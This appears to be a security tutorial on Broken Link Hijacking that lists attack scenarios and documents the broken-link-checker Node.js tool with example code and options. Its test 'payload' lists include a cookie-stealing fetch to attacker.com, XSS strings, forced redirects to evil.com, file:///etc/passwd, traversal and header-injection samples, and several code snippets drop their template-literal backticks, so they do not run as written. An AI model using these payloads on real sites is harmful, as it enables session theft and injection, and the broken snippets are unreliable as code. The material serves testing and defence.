Broken Link Hijacking

Broken Link Hijacking (BLH) is an attack where adversaries exploit abandoned or misconfigured links—such as expired domains, unclaimed social media handles, or outdated CDNs. Once an attacker registers or repurposes these links, they can take control of assets, manipulate content, or execute phishing campaigns.

Why is it a Security Risk? When a linked resource such as an expired domain, unclaimed social media handle, or outdated CDN is no longer controlled by its original owner, attackers can register or repurpose it for malicious activities. This allows them to exploit broken links for phishing attacks, malware distribution, session hijacking, and brand impersonation.

The risk grows in environments where outdated dependencies, external assets, or third-party integrations go unchecked. A single hijacked link can silently redirect users, steal credentials, or inject malicious scripts compromising both security and trust.

  1. OAuth Token Interception – Attackers hijack expired OAuth redirect URIs to capture authentication tokens, enabling unauthorized API access and session hijacking.
  2. Dependency Chain Injection – Reclaiming outdated third-party libraries allows adversaries to execute remote code injection (RCE) and supply chain attacks.
  3. Subdomain Takeover via Dangling DNS Records – Exploiting orphaned CNAME or A records to host malicious payloads, execute phishing attacks, or pivot into internal networks.
  4. MX Record Hijacking for Email Spoofing – Taking control of decommissioned email domains to intercept password reset emails and facilitate spear-phishing.
  5. Server-Side Request Forgery (SSRF) via API Endpoint Takeover – Manipulating abandoned API domains to force backend systems into unauthorized internal network access.
  6. Malicious Redirection & SEO Poisoning – Exploiting broken external links to reroute traffic to phishing sites, deploy cryptojacking scripts, or manipulate search engine rankings.

Broken Link Checker (BLC) is a powerful tool for detecting broken links in websites and local HTML files. It helps identify dead links, missing resources, and incorrect redirects to ensure optimal site health.

Installation Prerequisites: Node.js version 14 or higher is required. Installation Command: To install BLC globally, use:

npm install broken-link-checker -g

Usage 1. Command Line Usage Once installed, check available options using:

blc --help

2. Site-wide Broken Link Scan:

blc http://yourwebsite.com -ro

3. Checking a Local HTML File:

blc path/to/index.html -ro

Note: HTTP proxies are not directly supported. If you face network issues, consider using a container with proxy settings.

4. Programmatic API Usage You can integrate BLC into your Node.js project: Installation for API Usage:

npm install broken-link-checker

BLC can then be used in scripts to automate broken link detection. Ensure your website remains error-free by regularly scanning for broken links with BLC

Classes & Methods

BLC provides multiple classes for detecting and analyzing broken links.

  • SiteChecker: Main class for scanning entire websites.
  • HtmlChecker: Scans an HTML document to detect broken links.
  • UrlChecker: Checks a single URL for accessibility issues.

HtmlChecker scans an HTML document for broken links and emits relevant events. Scanning an HTML Document

const { HtmlChecker } = require('broken-link-checker');
const htmlChecker = new HtmlChecker(options)
.on('error', (error) => console.error("Scan Error:", error))
.on('html', (tree, robots) => console.log("Parsed HTML:", tree))
.on('queue', () => console.log("Queued links detected."))
.on('junk', (result) => console.log("Junk link found:", result.url))
.on('link', (result) => console.log(Checked link: ${result.url} - Status: ${result.broken ? "Broken" : "Valid"}))
.on('complete', () => console.log("Scan completed."));
htmlChecker.scan(html, baseURL);

Methods & Properties

  • .clearCache() – Removes all cached URL responses.
  • .isPaused – Returns true if the queue is paused and false otherwise.
  • .numActiveLinks – Shows the number of links currently being checked.
  • .numQueuedLinks – Displays the number of links waiting in queue.
  • .pause() – Temporarily stops processing links.
  • .resume() – Resumes checking links if previously paused.
  • .scan(html, baseURL) – Starts scanning an HTML document for broken links.
  • 'complete' – Fires when all links are checked.
  • 'error' – Fires if an error occurs in any event handler.
  • 'html' – Fires when the document is fully parsed.
  • 'junk' – Fires for skipped or unchecked links.
  • 'link' – Fires for every checked link, whether broken or not.
  • 'queue' – Fires when links are added to the queue.

Payloads for Injecting Invalid URLs

https://[invalid].example.com → Tests handling of malformed domains.
http://127.0.0.1:9999 → Checks for misconfigured localhost links.
ftp://ftp.example.com/brokenfile.txt → Tests FTP link validation.
file:///etc/passwd → Verifies handling of local file system links.
https://nonexistent.example.com/404 → Simulates a dead link scenario.

Payloads for Testing Redirections & Loops

http://redirect-me.com -> http://final-destination.com → Detects valid redirects.
http://loop.example.com -> http://loop.example.com → Identifies infinite redirect loops.
https://fake-redirect.com/malware → Tests phishing/malicious redirects.
http://expired-domain.com → Simulates abandoned domain issues.
https://cdn.invalid-resource.com/script.js → Checks outdated CDN references.
<a href="javascript:alert('XSS')">Click</a> → Detects inline JavaScript.
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Base64</a> → Encodes payloads in data: URLs.
window.location='http://malicious.com' → Simulates forced redirection.
fetch('http://attacker.com/leak?cookie='+document.cookie) → Checks for unauthorized data exfiltration.
<a href="#" onclick="document.write('<iframe src=\'http://evil.com\'>')">Click</a> → Tests for iframe injections

HtmlUrlChecker Scanning

Scans the HTML content at each queued URL to find broken links. All methods from EventEmitter are available.

https://example.com/nonexistent-page – Tests 404 responses.
https://example.com/500-error – Simulates a server-side error.
http://example.com:9999/ – Checks response from non-standard ports.
https://expired-ssl.example.com – Tests handling of expired SSL certificates.
https://self-signed.example.com – Simulates a self-signed SSL certificate.
ftp://example.com/missing-file.txt – Checks broken FTP links.
file:///etc/passwd – Tests handling of local file access in URLs.
https://example.com/timeout – Simulates a slow response leading to timeouts.

Redirect Testing Payloads

http://example.com/redirect-loop → http://example.com/redirect-loop – Detects infinite loops.
http://example.com/redirect?target=http://malicious.com – Tests open redirects.
https://www.example.com/moved → https://new.example.com/ – Tests proper handling of permanent redirects (301/302).
https://example.com/temp-redirect → https://another-site.com – Ensures handling of temporary redirects.
https://evil.com/hidden-redirect → https://phishing.com/login – Checks malicious redirect detection.
http://example.com/redirect-without-trailing/ → http://example.com/redirect-with-trailing/ – Tests URL inconsistency.
<a href="javascript:void(0)">Broken JS Link</a> – Checks for non-functional JavaScript links.
<a href="javascript:alert('Test')">Click me</a> – Detects inline JavaScript execution.
<script>window.location.href='http://malicious.com'</script> – Simulates forced redirection via JavaScript.
<img src="javascript:alert('XSS')"> – Tests execution of JavaScript in image tags.
<iframe src="javascript:void(0)"></iframe> – Identifies hidden iframe injections.
<script>document.write('<a href="http://bad.com">Malicious Link</a>')</script> – Ensures dynamic script-injected links are detected.
http://%77%77%77%2E%65%78%61%6D%70%6C%65%2E%63%6F%6D/hidden – Tests percent-encoded links.
http://example.com/?q=<script>alert('XSS')</script> – Detects XSS vulnerabilities.
data:text/html;base64,PHNjcmlwdD5hbGVydCgnSGFja2VkIScpPC9zY3JpcHQ+ – Checks for base64-encoded payloads.
//evil.com/malware.js – Tests handling of scheme-relative links.
http://user:[email protected] – Tests credential leaks in URLs.
javascript:void(document.location='http://malicious.com') – Simulates JavaScript-based navigation.
<iframe src="https://malicious.com/hidden.html"></iframe> – Checks for hidden iframes.
http://evil.com/%252e%252e/%252e%252e/%252e%252e/etc/passwd – Detects directory traversal attempts.
<img src="http://example.com/broken.jpg"> – Tests missing image files.
<audio src="http://example.com/missing.mp3" controls></audio> – Detects broken audio links.
<video src="http://example.com/nonexistent.mp4" controls></video> – Ensures missing video files are identified.
<embed src="http://example.com/missing.swf"> – Checks obsolete Flash content.
<iframe src="http://example.com/missing.html"></iframe> – Detects broken iframe content.
https://api.example.com/v1/data – Tests valid API endpoint handling.
https://api.example.com/v1/404 – Simulates API returning a 404 error.
https://api.example.com/v1/error – Detects API failures and incorrect responses.
https://cdn.example.com/missing.js – Tests handling of missing JavaScript libraries.
https://example.com/api?token=12345 – Ensures sensitive tokens in URLs are flagged.
https://example.com/search?q=<script>alert('XSS')</script> – Tests search parameter sanitization.
http://example.com/%0D%0ASet-Cookie:%20auth=steal – Checks for HTTP header injection.

SiteChecker

Recursively scans (crawls) the HTML content at each queued URL to find broken links.

const { SiteChecker } = require('broken-link-checker');
const siteChecker = new SiteChecker(options)
.on('error', (error) => { console.log('Error:', error); })
.on('robots', (robots, customData) => { console.log('Robots.txt Found:', robots.directives); })
.on('html', (tree, robots, response, pageURL, customData) => { console.log('HTML Scanned:', pageURL); })
.on('queue', () => { console.log('Queue Updated'); })
.on('junk', (result, customData) => { console.log('Junk Link:', result.url.original); })
.on('link', (result, customData) => { console.log('Checked Link:', result.url.original, 'Status:', result.broken ? 'Broken' : 'Valid'); })
.on('page', (error, pageURL, customData) => { console.log('Page Scanned:', pageURL, 'Error:', error ? error.message : 'None'); })
.on('site', (error, siteURL, customData) => { console.log('Site Crawled:', siteURL, 'Error:', error ? error.message : 'None'); })
.on('end', () => { console.log('Crawl Complete'); });

Large-scale websites

siteChecker.enqueue("https://wikipedia.org", customData);
siteChecker.enqueue("https://github.com", customData);
siteChecker.enqueue("https://amazon.com", customData);

Login-required sites (may return HTTP 403 or redirect)

siteChecker.enqueue("https://facebook.com", customData);
siteChecker.enqueue("https://linkedin.com", customData);

Sites with redirects

siteChecker.enqueue("http://example.com/redirect", customData);
siteChecker.enqueue("https://t.co/test", customData);

API endpoints (JSON responses)

siteChecker.enqueue("https://api.example.com/data", customData);
siteChecker.enqueue("https://jsonplaceholder.typicode.com/posts", customData);

URLs with special characters

siteChecker.enqueue("https://example.com/?search=<script>alert(1)</script>", customData);
siteChecker.enqueue("https://example.com/-secure-page", customData);
siteChecker.enqueue("https://example.com/üñîçødë", customData);

Local network testing

siteChecker.enqueue("http://127.0.0.1", customData);
siteChecker.enqueue("http://localhost:8080", customData);

Edge cases (Invalid or malformed URLs)

siteChecker.enqueue("https://invalid-url", customData);
siteChecker.enqueue("https://test[.]com", customData);

#### File URLs (Expected to fail)

siteChecker.enqueue("file://localhost", customData);
siteChecker.enqueue("https://example.com/#hidden-section", customData);
siteChecker.enqueue("https://secure-site.com/http-content", customData);
siteChecker.enqueue("http://insecure-site.com", customData);

URL-checker

Requests each queued URL to determine if they are broken

const { UrlChecker } = require('broken-link-checker');
const urlChecker = new UrlChecker(options)
.on('error', (error) => { console.log('Error:', error); })
.on('queue', () => { console.log('Queue Updated'); })
.on('link', (result, customData) => { console.log('Checked URL:', result.url.original, 'Status:', result.broken ? 'Broken' : 'Valid'); })
.on('end', () => { console.log('URL Checking Complete'); });

Common Websites

const commonSites = [
"https://google.com",
"https://github.com",
"https://linkedin.com",
"https://twitter.com/login"
];
const redirectShortLinks = [
"http://example.com/redirect",
"https://bit.ly/3kz"
];

API Endpoints

const apiEndpoints = [
"https://api.github.com/users/octocat",
"https://jsonplaceholder.typicode.com/todos/1"
];

XSS & Special Character Injection

const xssPayloads = [
"https://example.com/?search=<script>alert(1)</script>",
"https://example.com/üñîçødë",
"https://example.com/-secure-url"
];

Local & Internal Network URLs

const localNetworkUrls = [
"http://127.0.0.1",
"http://localhost:3000"
];

Invalid & Malformed URLs

const invalidUrls = [
"https://invalid-url",
"https://test[.]com",
"file://localhost"
];

Hidden Anchors & Mixed Content

const mixedContentUrls = [
"https://example.com/#hidden-section",
"https://secure-site.com/http-content",
"http://insecure-site.com"
];

Nonexistent Domains

const nonexistentDomains = [
"https://thiswebsitedoesnotexist.tld",
"http://randomnotarealwebsite123456789.com"
];

Deeply Nested & Parameterized URLs

const deepUrls = [
"https://example.com/very/deeply/nested/path/to/a/file.html",
"https://example.com/?id=123&name=test",
"https://example.com/?param1=<script>alert(1)</script>",
"https://example.com/",
"https://example.com/.html"
];

Enqueue URLs for checking

const payloadCategories = [
commonSites,
redirectShortLinks,
apiEndpoints,
xssPayloads,
localNetworkUrls,
invalidUrls,
mixedContentUrls,
nonexistentDomains,
deepUrls
];
payloadCategories.flat().forEach(url => urlChecker.enqueue(url, {}));

A broken link will have an isBroken value of true and a reason code defined in brokenReason. A link that was not checked (emitted as 'junk') will have a wasExcluded value of true, a reason code defined in excludedReason and a isBroken value of null.

if (link.get('isBroken')) {
console.log(Broken Link Reason: ${link.get('brokenReason')});
console.log(URL: ${link.get('url.original')});
console.log(HTTP Status Code: ${link.get('http.responseCode')});
console.log(Response Message: ${link.get('http.responseMessage')});
}
else if (link.get('wasExcluded')) {
console.log(Excluded Link Reason: ${link.get('excludedReason')});
console.log(URL: ${link.get('url.original')});
}

Descriptive Messages for Reason Codes

const {reasons} = require('broken-link-checker');
console.log(Robots Exclusion: ${reasons.BLC_ROBOTS});
console.log(Connection Reset: ${reasons.ERRNO_ECONNRESET});
console.log(Page Not Found: ${reasons.HTTP_404});
console.log(Timeout Error: ${reasons.ERRNO_ETIMEDOUT});
console.log(Too Many Redirects: ${reasons.HTTP_310});
console.log(reasons);
if (link.get('isBroken')) {
console.log(URL: ${link.get('url.original')});
console.log(Broken Reason: ${reasons[link.get('brokenReason')]});
console.log(HTTP Code: ${link.get('http.responseCode')});
console.log(Response Time: ${link.get('http.responseTime')} ms);
console.log(Final Redirected URL: ${link.get('url.resolved')});
}
else if (link.get('wasExcluded')) {
console.log(URL: ${link.get('url.original')});
console.log(Excluded Reason: ${reasons[link.get('excludedReason')]});
}

Caching Options

General Settings

cacheMaxAge: 3600000, defines how long a cached response remains valid. cacheResponses: true, enables caching of URL request results. rateLimit: 0, sets the delay before each request. userAgent: "broken-link-checker/0.8.0 Node.js/14.16.0 (OS X; x64)", specifies the HTTP user-agent for requests.

Filtering Options

excludedKeywords: [], excludes links matching specific keywords or patterns. includedKeywords: [], only checks links matching specified keywords. excludeExternalLinks: false, disables checking external links. excludeInternalLinks: false, disables checking internal links. excludeLinksToSamePage: false, prevents checking links to the same page. filterLevel: 1, determines which tags and attributes are considered links.

Robots & Crawling

honorRobotExclusions: true, prevents scanning pages disallowed by robots.txt or meta tags. includeLink: link => true, custom function to include or exclude links. includePage: url => true, custom function to include or exclude pages.

Request & Connection Limits

maxSockets: Infinity, sets the maximum number of simultaneous link checks. maxSocketsPerHost: 2, limits concurrent requests per host to prevent overload. requestMethod: "head", specifies the HTTP request method for checking links. retryHeadCodes: [405], list of HTTP status codes that trigger a retry. retryHeadFail: true, retries failed 'head' requests with a 'get' request.

Error Handling & Debugging

logErrors: true, enables logging of request errors. debugMode: false, allows additional debugging output. timeout: 5000, sets the request timeout duration in milliseconds. retryOnTimeout: true, reattempts requests if they time out.

Advanced Settings

checkRedirects: true, verifies if redirects are functional. followRedirects: true, follows HTTP redirects automatically. ignoreSSL: false, enforces SSL certificate validation. maxRetries: 3, number of retry attempts for failed requests. batchSize: 10, sets the number of URLs processed simultaneously. customHeaders: {}, allows defining custom HTTP headers for requests.

Tools

References